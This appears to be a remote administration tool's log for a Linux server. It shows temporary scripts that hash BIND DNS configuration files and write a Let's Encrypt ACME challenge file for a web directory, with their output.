MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 19:02:51: Establishing a connection
2026-05-15 19:02:51: 

PUT: /tmp/pkp182107

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 19:02:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp182107; rm /tmp/pkp182107'

2026-05-15 19:02:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-16 06:00:03: Establishing a connection
2026-05-16 06:00:03: Establishing a connection
2026-05-16 06:00:03: 

PUT: /tmp/pkp201876

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-16 06:00:04: 

chmod 755 /tmp/pkp201876; /tmp/pkp201876; rm /tmp/pkp201876

2026-05-16 06:00:04: 


1


2026-05-16 06:00:05: Establishing a connection
2026-05-16 06:00:05: 

PUT: /tmp/pkp488292

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > pcEcU-hEFi8PeQPPdZ71llMHGhw-6AleZENHBlyGt6w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
pcEcU-hEFi8PeQPPdZ71llMHGhw-6AleZENHBlyGt6w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 pcEcU-hEFi8PeQPPdZ71llMHGhw-6AleZENHBlyGt6w


2026-05-16 06:00:05: 

chmod 755 /tmp/pkp488292; /tmp/pkp488292; rm /tmp/pkp488292

2026-05-16 06:00:05: 




2026-05-16 06:00:06: Establishing a remote connection
2026-05-17 18:04:04: Establishing a connection
2026-05-17 18:04:15: Establishing a connection
2026-05-17 18:04:15: 

PUT: /tmp/pkp617960

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-17 18:04:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp617960; rm /tmp/pkp617960'

2026-05-17 18:04:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
